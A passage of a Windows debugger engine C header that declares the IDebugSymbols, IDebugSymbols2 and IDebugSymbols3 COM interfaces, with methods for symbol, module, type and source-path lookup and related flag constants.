current\n // register context is used.\n // If the scope identified by the given\n // information is the same as before\n // SetScope returns S_OK. If the scope\n // information changes, such as when the\n // scope moves between functions or scope\n // blocks, SetScope returns S_FALSE.\n STDMETHOD(SetScope)(\n THIS_\n __in ULONG64 InstructionOffset,\n __in_opt PDEBUG_STACK_FRAME ScopeFrame,\n __in_bcount_opt(ScopeContextSize) PVOID ScopeContext,\n __in ULONG ScopeContextSize\n ) PURE;\n // ResetScope clears the scope information\n // for situations where scoped symbols\n // mask global symbols or when resetting\n // from explicit information to the current\n // information.\n STDMETHOD(ResetScope)(\n THIS\n ) PURE;\n // A scope symbol is tied to its particular\n // scope and only is meaningful within the scope.\n // The returned group can be updated by passing it back\n // into the method for lower-cost\n // incremental updates when stepping.\n STDMETHOD(GetScopeSymbolGroup)(\n THIS_\n __in ULONG Flags,\n __in_opt PDEBUG_SYMBOL_GROUP Update,\n __out PDEBUG_SYMBOL_GROUP* Symbols\n ) PURE;\n\n // Create a new symbol group.\n STDMETHOD(CreateSymbolGroup)(\n THIS_\n __out PDEBUG_SYMBOL_GROUP* Group\n ) PURE;\n\n // StartSymbolMatch matches symbol names\n // against the given pattern using simple\n // regular expressions. The search results\n // are iterated through using GetNextSymbolMatch.\n // When the caller is done examining results\n // the match should be freed via EndSymbolMatch.\n // If the match pattern contains a module name\n // the search is restricted to a single module.\n // Pattern matching is only done on symbol names,\n // not module names.\n // All active symbol match handles are invalidated\n // when the set of loaded symbols changes.\n STDMETHOD(StartSymbolMatch)(\n THIS_\n __in PCSTR Pattern,\n __out PULONG64 Handle\n ) PURE;\n // If Buffer is NULL the match does not\n // advance.\n STDMETHOD(GetNextSymbolMatch)(\n THIS_\n __in ULONG64 Handle,\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG MatchSize,\n __out_opt PULONG64 Offset\n ) PURE;\n STDMETHOD(EndSymbolMatch)(\n THIS_\n __in ULONG64 Handle\n ) PURE;\n\n STDMETHOD(Reload)(\n THIS_\n __in PCSTR Module\n ) PURE;\n\n STDMETHOD(GetSymbolPath)(\n THIS_\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG PathSize\n ) PURE;\n STDMETHOD(SetSymbolPath)(\n THIS_\n __in PCSTR Path\n ) PURE;\n STDMETHOD(AppendSymbolPath)(\n THIS_\n __in PCSTR Addition\n ) PURE;\n\n // Manipulate the path for executable images.\n // Some dump files need to load executable images\n // in order to resolve dump information. This\n // path controls where the engine looks for\n // images.\n STDMETHOD(GetImagePath)(\n THIS_\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG PathSize\n ) PURE;\n STDMETHOD(SetImagePath)(\n THIS_\n __in PCSTR Path\n ) PURE;\n STDMETHOD(AppendImagePath)(\n THIS_\n __in PCSTR Addition\n ) PURE;\n\n // Path routines for source file location\n // methods.\n STDMETHOD(GetSourcePath)(\n THIS_\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG PathSize\n ) PURE;\n // Gets the nth part of the source path.\n STDMETHOD(GetSourcePathElement)(\n THIS_\n __in ULONG Index,\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG ElementSize\n ) PURE;\n STDMETHOD(SetSourcePath)(\n THIS_\n __in PCSTR Path\n ) PURE;\n STDMETHOD(AppendSourcePath)(\n THIS_\n __in PCSTR Addition\n ) PURE;\n // Uses the given file path and the source path\n // information to try and locate an existing file.\n // The given file path is merged with elements\n // of the source path and checked for existence.\n // If a match is found the element used is returned.\n // A starting element can be specified to restrict\n // the search to a subset of the path elements;\n // this can be useful when checking for multiple\n // matches along the source path.\n // The returned element can be 1, indicating\n // the file was found directly and not on the path.\n STDMETHOD(FindSourceFile)(\n THIS_\n __in ULONG StartElement,\n __in PCSTR File,\n __in ULONG Flags,\n __out_opt PULONG FoundElement,\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG FoundSize\n ) PURE;\n // Retrieves all the line offset information\n // for a particular source file. Buffer is\n // first intialized to DEBUG_INVALID_OFFSET for\n // every entry. Then for each piece of line\n // symbol information Buffer[Line] set to\n // Lines offset. This produces a per-line\n // map of the offsets for the lines of the\n // given file. Line numbers are decremented\n // for the map so Buffer[0] contains the offset\n // for line number 1.\n // If there is no line information at all for\n // the given file the method fails rather\n // than returning a map of invalid offsets.\n STDMETHOD(GetSourceFileLineOffsets)(\n THIS_\n __in PCSTR File,\n __out_ecount_opt(BufferLines) PULONG64 Buffer,\n __in ULONG BufferLines,\n __out_opt PULONG FileLines\n ) PURE;\n};\n\n//\n// GetModuleNameString strings.\n//\n\n#define DEBUG_MODNAME_IMAGE 0x00000000\n#define DEBUG_MODNAME_MODULE 0x00000001\n#define DEBUG_MODNAME_LOADED_IMAGE 0x00000002\n#define DEBUG_MODNAME_SYMBOL_FILE 0x00000003\n#define DEBUG_MODNAME_MAPPED_IMAGE 0x00000004\n\n//\n// Type options, used with Get/SetTypeOptions.\n//\n\n// Display PUSHORT and USHORT arrays in Unicode.\n#define DEBUG_TYPEOPTS_UNICODE_DISPLAY 0x00000001\n// Display LONG types in default base instead of decimal.\n#define DEBUG_TYPEOPTS_LONGSTATUS_DISPLAY 0x00000002\n// Display integer types in default base instead of decimal.\n#define DEBUG_TYPEOPTS_FORCERADIX_OUTPUT 0x00000004\n// Search for the type/symbol with largest size when\n// multiple type/symbol match for a given name\n#define DEBUG_TYPEOPTS_MATCH_MAXSIZE 0x00000008\n\n#undef INTERFACE\n#define INTERFACE IDebugSymbols2\nDECLARE_INTERFACE_(IDebugSymbols2, IUnknown)\n{\n // IUnknown.\n STDMETHOD(QueryInterface)(\n THIS_\n __in REFIID InterfaceId,\n __out PVOID* Interface\n ) PURE;\n STDMETHOD_(ULONG, AddRef)(\n THIS\n ) PURE;\n STDMETHOD_(ULONG, Release)(\n THIS\n ) PURE;\n\n // IDebugSymbols.\n\n // Controls the symbol options used during\n // symbol operations.\n // Uses the same flags as dbghelps SymSetOptions.\n STDMETHOD(GetSymbolOptions)(\n THIS_\n __out PULONG Options\n ) PURE;\n STDMETHOD(AddSymbolOptions)(\n THIS_\n __in ULONG Options\n ) PURE;\n STDMETHOD(RemoveSymbolOptions)(\n THIS_\n __in ULONG Options\n ) PURE;\n STDMETHOD(SetSymbolOptions)(\n THIS_\n __in ULONG Options\n ) PURE;\n\n STDMETHOD(GetNameByOffset)(\n THIS_\n __in ULONG64 Offset,\n __out_ecount_opt(NameBufferSize) PSTR NameBuffer,\n __in ULONG NameBufferSize,\n __out_opt PULONG NameSize,\n __out_opt PULONG64 Displacement\n ) PURE;\n // A symbol name may not be unique, particularly\n // when overloaded functions exist which all\n // have the same name. If GetOffsetByName\n // finds multiple matches for the name it\n // can return any one of them. In that\n // case it will return S_FALSE to indicate\n // that ambiguity was arbitrarily resolved.\n // A caller can then use SearchSymbols to\n // find all of the matches if it wishes to\n // perform different disambiguation.\n STDMETHOD(GetOffsetByName)(\n THIS_\n __in PCSTR Symbol,\n __out PULONG64 Offset\n ) PURE;\n // GetNearNameByOffset returns symbols\n // located near the symbol closest to\n // to the offset, such as the previous\n // or next symbol. If Delta is zero it\n // operates identically to GetNameByOffset.\n // If Delta is nonzero and such a symbol\n // does not exist an error is returned.\n // The next symbol, if one exists, will\n // always have a higher offset than the\n // input offset so the displacement is\n // always negative. The situation is\n // reversed for the previous symbol.\n STDMETHOD(GetNearNameByOffset)(\n THIS_\n __in ULONG64 Offset,\n __in LONG Delta,\n __out_ecount_opt(NameBufferSize) PSTR NameBuffer,\n __in ULONG NameBufferSize,\n __out_opt PULONG NameSize,\n __out_opt PULONG64 Displacement\n ) PURE;\n\n STDMETHOD(GetLineByOffset)(\n THIS_\n __in ULONG64 Offset,\n __out_opt PULONG Line,\n __out_ecount_opt(FileBufferSize) PSTR FileBuffer,\n __in ULONG FileBufferSize,\n __out_opt PULONG FileSize,\n __out_opt PULONG64 Displacement\n ) PURE;\n STDMETHOD(GetOffsetByLine)(\n THIS_\n __in ULONG Line,\n __in PCSTR File,\n __out PULONG64 Offset\n ) PURE;\n\n // Enumerates the engines list of modules\n // loaded for the current process. This may\n // or may not match the system module list\n // for the process. Reload can be used to\n // synchronize the engines list with the system\n // if necessary.\n // Some sessions also track recently unloaded\n // code modules for help in analyzing failures\n // where an attempt is made to call unloaded code.\n // These modules are indexed after the loaded\n // modules.\n STDMETHOD(GetNumberModules)(\n THIS_\n __out PULONG Loaded,\n __out PULONG Unloaded\n ) PURE;\n STDMETHOD(GetModuleByIndex)(\n THIS_\n __in ULONG Index,\n __out PULONG64 Base\n ) PURE;\n // The module name may not be unique.\n // This method returns the first match.\n STDMETHOD(GetModuleByModuleName)(\n THIS_\n __in PCSTR Name,\n __in ULONG StartIndex,\n __out_opt PULONG Index,\n __out_opt PULONG64 Base\n ) PURE;\n // Offset can be any offset within\n // the module extent. Extents may\n // not be unique when including unloaded\n // drivers. This method returns the\n // first match.\n STDMETHOD(GetModuleByOffset)(\n THIS_\n __in ULONG64 Offset,\n __in ULONG StartIndex,\n __out_opt PULONG Index,\n __out_opt PULONG64 Base\n ) PURE;\n // If Index is DEBUG_ANY_ID the base address\n // is used to look up the module instead.\n STDMETHOD(GetModuleNames)(\n THIS_\n __in ULONG Index,\n __in ULONG64 Base,\n __out_ecount_opt(ImageNameBufferSize) PSTR ImageNameBuffer,\n __in ULONG ImageNameBufferSize,\n __out_opt PULONG ImageNameSize,\n __out_ecount_opt(ModuleNameBufferSize) PSTR ModuleNameBuffer,\n __in ULONG ModuleNameBufferSize,\n __out_opt PULONG ModuleNameSize,\n __out_ecount_opt(LoadedImageNameBufferSize) PSTR LoadedImageNameBuffer,\n __in ULONG LoadedImageNameBufferSize,\n __out_opt PULONG LoadedImageNameSize\n ) PURE;\n STDMETHOD(GetModuleParameters)(\n THIS_\n __in ULONG Count,\n __in_ecount_opt(Count) PULONG64 Bases,\n __in ULONG Start,\n __out_ecount(Count) PDEBUG_MODULE_PARAMETERS Params\n ) PURE;\n // Looks up the module from a !\n // string.\n STDMETHOD(GetSymbolModule)(\n THIS_\n __in PCSTR Symbol,\n __out PULONG64 Base\n ) PURE;\n\n // Returns the string name of a type.\n STDMETHOD(GetTypeName)(\n THIS_\n __in ULONG64 Module,\n __in ULONG TypeId,\n __out_ecount_opt(NameBufferSize) PSTR NameBuffer,\n __in ULONG NameBufferSize,\n __out_opt PULONG NameSize\n ) PURE;\n // Returns the ID for a type name.\n STDMETHOD(GetTypeId)(\n THIS_\n __in ULONG64 Module,\n __in PCSTR Name,\n __out PULONG TypeId\n ) PURE;\n STDMETHOD(GetTypeSize)(\n THIS_\n __in ULONG64 Module,\n __in ULONG TypeId,\n __out PULONG Size\n ) PURE;\n // Given a type which can contain members\n // this method returns the offset of a\n // particular member within the type.\n // TypeId should give the container type ID\n // and Field gives the dot-separated path\n // to the field of interest.\n STDMETHOD(GetFieldOffset)(\n THIS_\n __in ULONG64 Module,\n __in ULONG TypeId,\n __in PCSTR Field,\n __out PULONG Offset\n ) PURE;\n\n STDMETHOD(GetSymbolTypeId)(\n THIS_\n __in PCSTR Symbol,\n __out PULONG TypeId,\n __out_opt PULONG64 Module\n ) PURE;\n // As with GetOffsetByName a symbol's\n // name may be ambiguous. GetOffsetTypeId\n // returns the type for the symbol closest\n // to the given offset and can be used\n // to avoid ambiguity.\n STDMETHOD(GetOffsetTypeId)(\n THIS_\n __in ULONG64 Offset,\n __out PULONG TypeId,\n __out_opt PULONG64 Module\n ) PURE;\n\n // Helpers for virtual and physical data\n // which combine creation of a location with\n // the actual operation.\n STDMETHOD(ReadTypedDataVirtual)(\n THIS_\n __in ULONG64 Offset,\n __in ULONG64 Module,\n __in ULONG TypeId,\n __out_bcount(BufferSize) PVOID Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG BytesRead\n ) PURE;\n STDMETHOD(WriteTypedDataVirtual)(\n THIS_\n __in ULONG64 Offset,\n __in ULONG64 Module,\n __in ULONG TypeId,\n __in_bcount(BufferSize) PVOID Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG BytesWritten\n ) PURE;\n STDMETHOD(OutputTypedDataVirtual)(\n THIS_\n __in ULONG OutputControl,\n __in ULONG64 Offset,\n __in ULONG64 Module,\n __in ULONG TypeId,\n __in ULONG Flags\n ) PURE;\n STDMETHOD(ReadTypedDataPhysical)(\n THIS_\n __in ULONG64 Offset,\n __in ULONG64 Module,\n __in ULONG TypeId,\n __out_bcount(BufferSize) PVOID Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG BytesRead\n ) PURE;\n STDMETHOD(WriteTypedDataPhysical)(\n THIS_\n __in ULONG64 Offset,\n __in ULONG64 Module,\n __in ULONG TypeId,\n __in_bcount(BufferSize) PVOID Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG BytesWritten\n ) PURE;\n STDMETHOD(OutputTypedDataPhysical)(\n THIS_\n __in ULONG OutputControl,\n __in ULONG64 Offset,\n __in ULONG64 Module,\n __in ULONG TypeId,\n __in ULONG Flags\n ) PURE;\n\n // Function arguments and scope block symbols\n // can be retrieved relative to currently\n // executing code. A caller can provide just\n // a code offset for scoping purposes and look\n // up names or the caller can provide a full frame\n // and look up actual values. The values for\n // scoped symbols are best-guess and may or may not\n // be accurate depending on program optimizations,\n // the machine architecture, the current point\n // in the programs execution and so on.\n // A caller can also provide a complete register\n // context for setting a scope to a previous\n // machine state such as a context saved for\n // an exception. Usually this isnt necessary\n // and the current register context is used.\n STDMETHOD(GetScope)(\n THIS_\n __out_opt PULONG64 InstructionOffset,\n __out_opt PDEBUG_STACK_FRAME ScopeFrame,\n __out_bcount_opt(ScopeContextSize) PVOID ScopeContext,\n __in ULONG ScopeContextSize\n ) PURE;\n // If ScopeFrame or ScopeContext is non-NULL then\n // InstructionOffset is ignored.\n // If ScopeContext is NULL the current\n // register context is used.\n // If the scope identified by the given\n // information is the same as before\n // SetScope returns S_OK. If the scope\n // information changes, such as when the\n // scope moves between functions or scope\n // blocks, SetScope returns S_FALSE.\n STDMETHOD(SetScope)(\n THIS_\n __in ULONG64 InstructionOffset,\n __in_opt PDEBUG_STACK_FRAME ScopeFrame,\n __in_bcount_opt(ScopeContextSize) PVOID ScopeContext,\n __in ULONG ScopeContextSize\n ) PURE;\n // ResetScope clears the scope information\n // for situations where scoped symbols\n // mask global symbols or when resetting\n // from explicit information to the current\n // information.\n STDMETHOD(ResetScope)(\n THIS\n ) PURE;\n // A scope symbol is tied to its particular\n // scope and only is meaningful within the scope.\n // The returned group can be updated by passing it back\n // into the method for lower-cost\n // incremental updates when stepping.\n STDMETHOD(GetScopeSymbolGroup)(\n THIS_\n __in ULONG Flags,\n __in_opt PDEBUG_SYMBOL_GROUP Update,\n __out PDEBUG_SYMBOL_GROUP* Symbols\n ) PURE;\n\n // Create a new symbol group.\n STDMETHOD(CreateSymbolGroup)(\n THIS_\n __out PDEBUG_SYMBOL_GROUP* Group\n ) PURE;\n\n // StartSymbolMatch matches symbol names\n // against the given pattern using simple\n // regular expressions. The search results\n // are iterated through using GetNextSymbolMatch.\n // When the caller is done examining results\n // the match should be freed via EndSymbolMatch.\n // If the match pattern contains a module name\n // the search is restricted to a single module.\n // Pattern matching is only done on symbol names,\n // not module names.\n // All active symbol match handles are invalidated\n // when the set of loaded symbols changes.\n STDMETHOD(StartSymbolMatch)(\n THIS_\n __in PCSTR Pattern,\n __out PULONG64 Handle\n ) PURE;\n // If Buffer is NULL the match does not\n // advance.\n STDMETHOD(GetNextSymbolMatch)(\n THIS_\n __in ULONG64 Handle,\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG MatchSize,\n __out_opt PULONG64 Offset\n ) PURE;\n STDMETHOD(EndSymbolMatch)(\n THIS_\n __in ULONG64 Handle\n ) PURE;\n\n STDMETHOD(Reload)(\n THIS_\n __in PCSTR Module\n ) PURE;\n\n STDMETHOD(GetSymbolPath)(\n THIS_\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG PathSize\n ) PURE;\n STDMETHOD(SetSymbolPath)(\n THIS_\n __in PCSTR Path\n ) PURE;\n STDMETHOD(AppendSymbolPath)(\n THIS_\n __in PCSTR Addition\n ) PURE;\n\n // Manipulate the path for executable images.\n // Some dump files need to load executable images\n // in order to resolve dump information. This\n // path controls where the engine looks for\n // images.\n STDMETHOD(GetImagePath)(\n THIS_\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG PathSize\n ) PURE;\n STDMETHOD(SetImagePath)(\n THIS_\n __in PCSTR Path\n ) PURE;\n STDMETHOD(AppendImagePath)(\n THIS_\n __in PCSTR Addition\n ) PURE;\n\n // Path routines for source file location\n // methods.\n STDMETHOD(GetSourcePath)(\n THIS_\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG PathSize\n ) PURE;\n // Gets the nth part of the source path.\n STDMETHOD(GetSourcePathElement)(\n THIS_\n __in ULONG Index,\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG ElementSize\n ) PURE;\n STDMETHOD(SetSourcePath)(\n THIS_\n __in PCSTR Path\n ) PURE;\n STDMETHOD(AppendSourcePath)(\n THIS_\n __in PCSTR Addition\n ) PURE;\n // Uses the given file path and the source path\n // information to try and locate an existing file.\n // The given file path is merged with elements\n // of the source path and checked for existence.\n // If a match is found the element used is returned.\n // A starting element can be specified to restrict\n // the search to a subset of the path elements;\n // this can be useful when checking for multiple\n // matches along the source path.\n // The returned element can be 1, indicating\n // the file was found directly and not on the path.\n STDMETHOD(FindSourceFile)(\n THIS_\n __in ULONG StartElement,\n __in PCSTR File,\n __in ULONG Flags,\n __out_opt PULONG FoundElement,\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG FoundSize\n ) PURE;\n // Retrieves all the line offset information\n // for a particular source file. Buffer is\n // first intialized to DEBUG_INVALID_OFFSET for\n // every entry. Then for each piece of line\n // symbol information Buffer[Line] set to\n // Lines offset. This produces a per-line\n // map of the offsets for the lines of the\n // given file. Line numbers are decremented\n // for the map so Buffer[0] contains the offset\n // for line number 1.\n // If there is no line information at all for\n // the given file the method fails rather\n // than returning a map of invalid offsets.\n STDMETHOD(GetSourceFileLineOffsets)(\n THIS_\n __in PCSTR File,\n __out_ecount_opt(BufferLines) PULONG64 Buffer,\n __in ULONG BufferLines,\n __out_opt PULONG FileLines\n ) PURE;\n\n // IDebugSymbols2.\n\n // If Index is DEBUG_ANY_ID the base address\n // is used to look up the module instead.\n // Item is specified as in VerQueryValue.\n // Module version information is only\n // available for loaded modules and may\n // not be available in all debug sessions.\n STDMETHOD(GetModuleVersionInformation)(\n THIS_\n __in ULONG Index,\n __in ULONG64 Base,\n __in PCSTR Item,\n __out_bcount_opt(BufferSize) PVOID Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG VerInfoSize\n ) PURE;\n // Retrieves any available module name string\n // such as module name or symbol file name.\n // If Index is DEBUG_ANY_ID the base address\n // is used to look up the module instead.\n // If symbols are deferred an error will\n // be returned.\n // E_NOINTERFACE may be returned, indicating\n // no information exists.\n STDMETHOD(GetModuleNameString)(\n THIS_\n __in ULONG Which,\n __in ULONG Index,\n __in ULONG64 Base,\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG NameSize\n ) PURE;\n\n // Returns the string name of a constant type.\n STDMETHOD(GetConstantName)(\n THIS_\n __in ULONG64 Module,\n __in ULONG TypeId,\n __in ULONG64 Value,\n __out_ecount_opt(NameBufferSize) PSTR NameBuffer,\n __in ULONG NameBufferSize,\n __out_opt PULONG NameSize\n ) PURE;\n\n // Gets name of a field in a struct\n // FieldNumber is 0 based index of field in a struct\n STDMETHOD(GetFieldName)(\n THIS_\n __in ULONG64 Module,\n __in ULONG TypeId,\n __in ULONG FieldIndex,\n __out_ecount_opt(NameBufferSize) PSTR NameBuffer,\n __in ULONG NameBufferSize,\n __out_opt PULONG NameSize\n ) PURE;\n\n // Control options for typed values.\n STDMETHOD(GetTypeOptions)(\n THIS_\n __out PULONG Options\n ) PURE;\n STDMETHOD(AddTypeOptions)(\n THIS_\n __in ULONG Options\n ) PURE;\n STDMETHOD(RemoveTypeOptions)(\n THIS_\n __in ULONG Options\n ) PURE;\n STDMETHOD(SetTypeOptions)(\n THIS_\n __in ULONG Options\n ) PURE;\n};\n\n//\n// GetModuleBy* flags.\n//\n\n// Scan all modules, loaded and unloaded.\n#define DEBUG_GETMOD_DEFAULT 0x00000000\n// Do not scan loaded modules.\n#define DEBUG_GETMOD_NO_LOADED_MODULES 0x00000001\n// Do not scan unloaded modules.\n#define DEBUG_GETMOD_NO_UNLOADED_MODULES 0x00000002\n\n//\n// AddSyntheticModule flags.\n//\n\n#define DEBUG_ADDSYNTHMOD_DEFAULT 0x00000000\n\n//\n// AddSyntheticSymbol flags.\n//\n\n#define DEBUG_ADDSYNTHSYM_DEFAULT 0x00000000\n\n//\n// OutputSymbolByOffset flags.\n//\n\n// Use the current debugger settings for symbol output.\n#define DEBUG_OUTSYM_DEFAULT 0x00000000\n// Always display the offset in addition to any symbol hit.\n#define DEBUG_OUTSYM_FORCE_OFFSET 0x00000001\n// Display source line information if found.\n#define DEBUG_OUTSYM_SOURCE_LINE 0x00000002\n// Output symbol hits that don't exactly match.\n#define DEBUG_OUTSYM_ALLOW_DISPLACEMENT 0x00000004\n\n//\n// GetFunctionEntryByOffset flags.\n//\n\n#define DEBUG_GETFNENT_DEFAULT 0x00000000\n// The engine provides artificial entries for well-known\n// cases. This flag limits the entry search to only\n// the raw entries and disables artificial entry lookup.\n#define DEBUG_GETFNENT_RAW_ENTRY_ONLY 0x00000001\n\ntypedef struct _DEBUG_MODULE_AND_ID\n{\n ULONG64 ModuleBase;\n ULONG64 Id;\n} DEBUG_MODULE_AND_ID, *PDEBUG_MODULE_AND_ID;\n\n#define DEBUG_SOURCE_IS_STATEMENT 0x00000001\n\n//\n// GetSourceEntriesByLine flags.\n//\n\n#define DEBUG_GSEL_DEFAULT 0x00000000\n// Do not allow any extra symbols to load during the search.\n#define DEBUG_GSEL_NO_SYMBOL_LOADS 0x00000001\n// Allow source hits with lower line numbers.\n#define DEBUG_GSEL_ALLOW_LOWER 0x00000002\n// Allow source hits with higher line numbers.\n#define DEBUG_GSEL_ALLOW_HIGHER 0x00000004\n// Only return the nearest hits.\n#define DEBUG_GSEL_NEAREST_ONLY 0x00000008\n\ntypedef struct _DEBUG_SYMBOL_SOURCE_ENTRY\n{\n ULONG64 ModuleBase;\n ULONG64 Offset;\n ULONG64 FileNameId;\n ULONG64 EngineInternal;\n ULONG Size;\n ULONG Flags;\n ULONG FileNameSize;\n // Line numbers are one-based.\n // May be DEBUG_ANY_ID if unknown.\n ULONG StartLine;\n ULONG EndLine;\n // Column numbers are one-based byte indices.\n // May be DEBUG_ANY_ID if unknown.\n ULONG StartColumn;\n ULONG EndColumn;\n ULONG Reserved;\n} DEBUG_SYMBOL_SOURCE_ENTRY, *PDEBUG_SYMBOL_SOURCE_ENTRY;\n\n#undef INTERFACE\n#define INTERFACE IDebugSymbols3\nDECLARE_INTERFACE_(IDebugSymbols3, IUnknown)\n{\n // IUnknown.\n STDMETHOD(QueryInterface)(\n THIS_\n __in REFIID InterfaceId,\n __out PVOID* Interface\n ) PURE;\n STDMETHOD_(ULONG, AddRef)(\n THIS\n ) PURE;\n STDMETHOD_(ULONG, Release)(\n THIS\n ) PURE;\n\n // IDebugSymbols.\n\n // Controls the symbol options used during\n // symbol operations.\n // Uses the same flags as dbghelps SymSetOptions.\n STDMETHOD(GetSymbolOptions)(\n THIS_\n __out PULONG Options\n ) PURE;\n STDMETHOD(AddSymbolOptions)(\n THIS_\n __in ULONG Options\n ) PURE;\n STDMETHOD(RemoveSymbolOptions)(\n THIS_\n __in ULONG Options\n ) PURE;\n STDMETHOD(SetSymbolOptions)(\n THIS_\n __in ULONG Options\n ) PURE;\n\n STDMETHOD(GetNameByOffset)(\n THIS_\n __in ULONG64 Offset,\n __out_ecount_opt(NameBufferSize) PSTR NameBuffer,\n __in ULONG NameBufferSize,\n __out_opt PULONG NameSize,\n __out_opt PULONG64 Displacement\n ) PURE;\n // A symbol name may not be unique, particularly\n // when overloaded functions exist which all\n // have the same name. If GetOffsetByName\n // finds multiple matches for the name it\n // can return any one of them. In that\n // case it will return S_FALSE to indicate\n // that ambiguity was arbitrarily resolved.\n // A caller can then use SearchSymbols to\n // find all of the matches if it wishes to\n // perform different disambiguation.\n STDMETHOD(GetOffsetByName)(\n THIS_\n __in PCSTR Symbol,\n __out PULONG64 Offset\n ) PURE;\n // GetNearNameByOffset returns symbols\n // located near the symbol closest to\n // to the offset, such as the previous\n // or next symbol. If Delta is zero it\n // operates identically to GetNameByOffset.\n // If Delta is nonzero and such a symbol\n // does not exist an error is returned.\n // The next symbol, if one exists, will\n // always have a higher offset than the\n // input offset so the displacement is\n // always negative. The situation is\n // reversed for the previous symbol.\n STDMETHOD(GetNearNameByOffset)(\n THIS_\n __in ULONG64 Offset,\n __in LONG Delta,\n __out_ecount_opt(NameBufferSize) PSTR NameBuffer,\n __in ULONG NameBufferSize,\n __out_opt PULONG NameSize,\n __out_opt PULONG64 Displacement\n ) PURE;\n\n STDMETHOD(GetLineByOffset)(\n THIS_\n __in ULONG64 Offset,\n __out_opt PULONG Line,\n __out_ecount_opt(FileBufferSize) PSTR FileBuffer,\n __in ULONG FileBufferSize,\n __out_opt PULONG FileSize,\n __out_opt PULONG64 Displacement\n ) PURE;\n STDMETHOD(GetOffsetByLine)(\n THIS_\n __in ULONG Line,\n __in PCSTR File,\n __out PULONG64 Offset\n ) PURE;\n\n // Enumerates the engines list of modules\n // loaded for the current process. This may\n // or may not match the system module list\n // for the process. Reload can be used to\n // synchronize the engines list with the system\n // if necessary.\n // Some sessions also track recently unloaded\n // code modules for help in analyzing failures\n // where an attempt is made to call unloaded code.\n // These modules are indexed after the loaded\n // modules.\n STDMETHOD(GetNumberModules)(\n THIS_\n __out PULONG Loaded,\n __out PULONG Unloaded\n ) PURE;\n STDMETHOD(GetModuleByIndex)(\n THIS_\n __in ULONG Index,\n __out PULONG64 Base\n ) PURE;\n // The module name may not be unique.\n // This method returns the first match.\n STDMETHOD(GetModuleByModuleName)(\n THIS_\n __in PCSTR Name,\n __in ULONG StartIndex,\n __out_opt PULONG Index,\n __out_opt PULONG64 Base\n ) PURE;\n // Offset can be any offset within\n // the module extent. Extents may\n // not be unique when including unloaded\n // drivers. This method returns the\n // first match.\n STDMETHOD(GetModuleByOffset)(\n THIS_\n __in ULONG64 Offset,\n __in ULONG StartIndex,\n __out_opt PULONG Index,\n __out_opt PULONG64 Base\n ) PURE;\n // If Index is DEBUG_ANY_ID the base address\n // is used to look up the module instead.\n STDMETHOD(GetModuleNames)(\n THIS_\n __in ULONG Index,\n __in ULONG64 Base,\n __out_ecount_opt(ImageNameBufferSize) PSTR ImageNameBuffer,\n __in ULONG ImageNameBufferSize,\n __out_opt PULONG ImageNameSize,\n __out_ecount_opt(ModuleNameBufferSize) PSTR ModuleNameBuffer,\n __in ULONG ModuleNameBufferSize,\n __out_opt PULONG ModuleNameSize,\n __out_ecount_opt(LoadedImageNameBufferSize) PSTR LoadedImageNameBuffer,\n __in ULONG LoadedImageNameBufferSize,\n __out_opt PULONG LoadedImageNameSize\n ) PURE;\n STDMETHOD(GetModuleParameters)(\n THIS_\n __in ULONG Count,\n __in_ecount_opt(Count) PULONG64 Bases,\n __in ULONG Start,\n __out_ecount(Count) PDEBUG_MODULE_PARAMETERS Params\n ) PURE;\n // Looks up the module from a !\n // string.\n STDMETHOD(GetSymbolModule)(\n THIS_\n __in PCSTR Symbol,\n __out PULONG64 Base\n ) PURE;\n\n // Returns the string name of a type.\n STDMETHOD(GetTypeName)(\n THIS_\n __in ULONG64 Module,\n __in ULONG TypeId,\n __out_ecount_opt(NameBufferSize) PSTR NameBuffer,\n __in ULONG NameBufferSize,\n __out_opt PULONG NameSize\n ) PURE;\n // Returns the ID for a type name.\n STDMETHOD(GetTypeId)(\n THIS_\n __in ULONG64 Module,\n __in PCSTR Name,\n __out PULONG TypeId\n ) PURE;\n STDMETHOD(GetTypeSize)(\n THIS_\n __in ULONG64 Module,\n __in ULONG TypeId,\n __out PULONG Size\n ) PURE;\n // Given a type which can contain members\n // this method returns the offset of a\n // particular member within the type.\n // TypeId should give the container type ID\n // and Field gives the dot-separated path\n // to the field of interest.\n STDMETHOD(GetFieldOffset)(\n THIS_\n __in ULONG64 Module,\n __in ULONG TypeId,\n __in PCSTR Field,\n __out PULONG Offset\n ) PURE;\n\n STDMETHOD(GetSymbolTypeId)(\n THIS_\n __in PCSTR Symbol,\n __out PULONG TypeId,\n __out_opt PULONG64 Module\n ) PURE;\n // As with GetOffsetByName a symbol's\n // name may be ambiguous. GetOffsetTypeId\n // returns the type for the symbol closest\n // to the given offset and can be used\n // to avoid ambiguity.\n STDMETHOD(GetOffsetTypeId)(\n THIS_\n __in ULONG64 Offset,\n __out PULONG TypeId,\n __out_opt PULONG64 Module\n ) PURE;\n\n // Helpers for virtual and physical data\n // which combine creation of a location with\n // the actual operation.\n STDMETHOD(ReadTypedDataVirtual)(\n THIS_\n __in ULONG64 Offset,\n __in ULONG64 Module,\n __in ULONG TypeId,\n __out_bcount(BufferSize) PVOID Buffer,\n __in ULONG BufferSize,\n __out_opt 